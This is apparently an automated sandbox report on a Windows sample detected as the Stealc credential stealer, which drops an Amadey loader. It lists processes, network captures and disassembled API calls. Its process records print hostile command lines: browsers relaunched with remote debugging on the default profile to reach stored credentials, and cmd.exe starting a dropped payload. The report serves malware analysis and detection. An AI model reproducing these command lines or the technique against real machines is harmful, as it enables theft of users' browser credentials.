</RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:08 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:09 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:08 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070508Z-174f7845968zgtf6hC1EWRqd8s0000000n3g000000002fua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:05:09 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Target ID:	0
Start time:	02:03:07
Start date:	26/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x660000
File size:	1'747'968 bytes
MD5 hash:	39150CB5924999ED343818B23D52319F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1975942575.0000000000661000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1979771130.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1455623487.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:03:20
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:03:21
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=1900,i,14079970636101778942,3824482336983158342,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:03:30
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:03:31
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2268,i,2486232455654180400,10786844336549321907,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:03:31
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:03:32
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	02:03:36
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6880 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:03:36
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7048 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:04:00
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBKFBFCGI.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:04:00
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:04:00
Start date:	26/11/2024
Path:	C:\Users\user\DocumentsGCBKFBFCGI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsGCBKFBFCGI.exe"
Imagebase:	0xe40000
File size:	1'896'960 bytes
MD5 hash:	A5C1BEDE87AA32763C4260E89488190E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.1963202332.0000000005640000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2003520628.0000000000E41000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:04:03
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7d0000
File size:	1'896'960 bytes
MD5 hash:	A5C1BEDE87AA32763C4260E89488190E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2032244854.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.1991635211.0000000005140000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:04:32
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7160 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	02:05:00
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7d0000
File size:	1'896'960 bytes
MD5 hash:	A5C1BEDE87AA32763C4260E89488190E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2562204259.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2687282375.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CADF688,00001000), ref: 6CA535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA5363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA5369F
__aulldiv.LIBCMT ref: 6CA536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA53773
EnterCriticalSection.KERNEL32(6CADF688), ref: 6CA5377E
LeaveCriticalSection.KERNEL32(6CADF688), ref: 6CA537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA537C4
EnterCriticalSection.KERNEL32(6CADF688), ref: 6CA537CB
LeaveCriticalSection.KERNEL32(6CADF688), ref: 6CA53801
__aulldiv.LIBCMT ref: 6CA53883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA53902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA53918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA5394C

Strings

AuthcAMDenti, xrefs: 6CA53946
GenuntelineI, xrefs: 6CA53639
GTC, xrefs: 6CA53912
MOZ_TIMESTAMP_MODE, xrefs: 6CA535DB
QPC, xrefs: 6CA538FC

Memory Dump Source

Source File: 00000000.00000002.2009159339.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2009128204.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2009260275.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2009304620.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2009334566.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 37a87a012da2003d271e9787b0095a40ba1b33672aa7af90870c0ba8e3491954
Instruction ID: 26b9c0881a3df07dc34208fc6da455bb567b52be712bcf01bb7d3adb2c9a1d11
Opcode Fuzzy Hash: 37a87a012da2003d271e9787b0095a40ba1b33672aa7af90870c0ba8e3491954
Instruction Fuzzy Hash: E3B193B1B053429FDB0CDF28C85465AB7F5BB89704F09CA2DF499D3790D730A9468B91

Function 6CA6C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA6C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA6C969
GetSystemInfo.KERNEL32(?), ref: 6CA6C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA6C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA6C9E2

Memory Dump Source

Source File: 00000000.00000002.2009159339.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2009128204.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2009260275.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2009304620.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2009334566.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 5577ba99252460d24e0ff764204c92b8a6016c4470740a68dbb9f9f5cd9158e8
Instruction ID: 4f020714c89ddd7881658722395a3de312e9db4926652223b8ca549a5c20b8f1
Opcode Fuzzy Hash: 5577ba99252460d24e0ff764204c92b8a6016c4470740a68dbb9f9f5cd9158e8
Instruction Fuzzy Hash: 86210A327417156BDF09AE75DC84BAE73B9FB46708F50411EF943A7E80DB20AC8587A1

Function 6CA53060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA53095

Part of subcall function 6CA535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CADF688,00001000), ref: 6CA535D5
Part of subcall function 6CA535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA535E0
Part of subcall function 6CA535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA535FD
Part of subcall function 6CA535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA5363F
Part of subcall function 6CA535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA5369F
Part of subcall function 6CA535A0: __aulldiv.LIBCMT ref: 6CA536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA5309F

Part of subcall function 6CA75B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA756EE,?,00000001), ref: 6CA75B85
Part of subcall function 6CA75B50: EnterCriticalSection.KERNEL32(6CADF688,?,?,?,6CA756EE,?,00000001), ref: 6CA75B90
Part of subcall function 6CA75B50: LeaveCriticalSection.KERNEL32(6CADF688,?,?,?,6CA756EE,?,00000001), ref: 6CA75BD8
Part of subcall function 6CA75B50: GetTickCount64.KERNEL32 ref: 6CA75BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA530BE

Part of subcall function 6CA530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA53127
Part of subcall function 6CA530F0: __aulldiv.LIBCMT ref: 6CA53140

Part of subcall function 6CA8AB2A: __onexit.LIBCMT ref: 6CA8AB30

Memory Dump Source

Source File: 00000000.00000002.2009159339.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2009128204.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2009260275.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2009304620.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2009334566.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: e7ea171a2d0afc926a69c5dc39504914fdf031f521051c09e57b018aebfbd73d
Instruction ID: c2afe11d4557266808bf5eba33c935872bfd8699e74bc471cf53b47895226e60
Opcode Fuzzy Hash: e7ea171a2d0afc926a69c5dc39504914fdf031f521051c09e57b018aebfbd73d
Instruction Fuzzy Hash: 3AF02612D2078997CA14DF748D411E7B370AFAB114B40D31DF88463A61FB3071DD8391

Non-executed Functions

Function 6CB86E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCD2120,6CB87E60), ref: 6CB86EBC
TlsGetValue.KERNEL32 ref: 6CB86EDF
EnterCriticalSection.KERNEL32(?), ref: 6CB86EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CB86F25

Part of subcall function 6CB5A900: TlsGetValue.KERNEL32(00000000,?,6CCD14E4,?,6CAF4DD9), ref: 6CB5A90F
Part of subcall function 6CB5A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CB5A94F

PR_Unlock.NSS3 ref: 6CB86F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CB86FA9
TlsGetValue.KERNEL32 ref: 6CB870B4
EnterCriticalSection.KERNEL32(?), ref: 6CB870C8
PR_CallOnce.NSS3(6CCD24C0,6CBC7590), ref: 6CB87104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB87117
SECOID_Init.NSS3 ref: 6CB87128
PORT_Alloc_Util.NSS3(00000057), ref: 6CB8714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB8717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB871A9
PR_NotifyAllCondVar.NSS3 ref: 6CB871CF
PR_Unlock.NSS3 ref: 6CB871DD
free.MOZGLUE(?), ref: 6CB871EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB87208
free.MOZGLUE(00000000), ref: 6CB87221
free.MOZGLUE(00000001), ref: 6CB87235
TlsGetValue.KERNEL32 ref: 6CB8724A
EnterCriticalSection.KERNEL32(?), ref: 6CB8725E
PR_NotifyCondVar.NSS3 ref: 6CB87273
PR_Unlock.NSS3 ref: 6CB87281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB87291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB872B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB872D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB872E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB87301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB87310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB87335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB87344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB87363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB87372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CCC0148,,defaultModDB,internalKeySlot), ref: 6CB874CC
free.MOZGLUE(00000000), ref: 6CB87513
free.MOZGLUE(00000000), ref: 6CB8751B
free.MOZGLUE(00000000), ref: 6CB87528
free.MOZGLUE(00000000), ref: 6CB8753C
free.MOZGLUE(00000000), ref: 6CB87550
free.MOZGLUE(00000000), ref: 6CB87561
free.MOZGLUE(00000000), ref: 6CB87572
free.MOZGLUE(00000000), ref: 6CB87583
free.MOZGLUE(00000000), ref: 6CB87594
free.MOZGLUE(00000000), ref: 6CB875A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CB875BD
free.MOZGLUE(00000000), ref: 6CB875C8
free.MOZGLUE(00000000), ref: 6CB875F1
PR_NewLock.NSS3 ref: 6CB87636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB87686
PR_NewLock.NSS3 ref: 6CB876A2

Part of subcall function 6CC398D0: calloc.MOZGLUE(00000001,00000084,6CB60936,00000001,?,6CB6102C), ref: 6CC398E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CB876B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CB87707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CB8771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CB87731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CB8774A
DeleteCriticalSection.KERNEL32(?), ref: 6CB87770
free.MOZGLUE(?), ref: 6CB87779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB8779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB877AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CB877C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB877DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CB87821
PORT_Alloc_Util.NSS3(?), ref: 6CB87837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB8785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB8786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CB878AC
free.MOZGLUE(00000000), ref: 6CB878BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CB878F3
free.MOZGLUE(00000000), ref: 6CB878FC
free.MOZGLUE(00000000), ref: 6CB8791C

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Strings

rdb:, xrefs: 6CB87744
dll, xrefs: 6CB8788E
,defaultModDB,internalKeySlot, xrefs: 6CB8748D, 6CB874AA
NSS Internal Module, xrefs: 6CB874A2, 6CB874C6
Spac, xrefs: 6CB87389
extern:, xrefs: 6CB8772B
sql:, xrefs: 6CB876FE
dbm:, xrefs: 6CB87716
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CB874C7
kbi., xrefs: 6CB87886

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
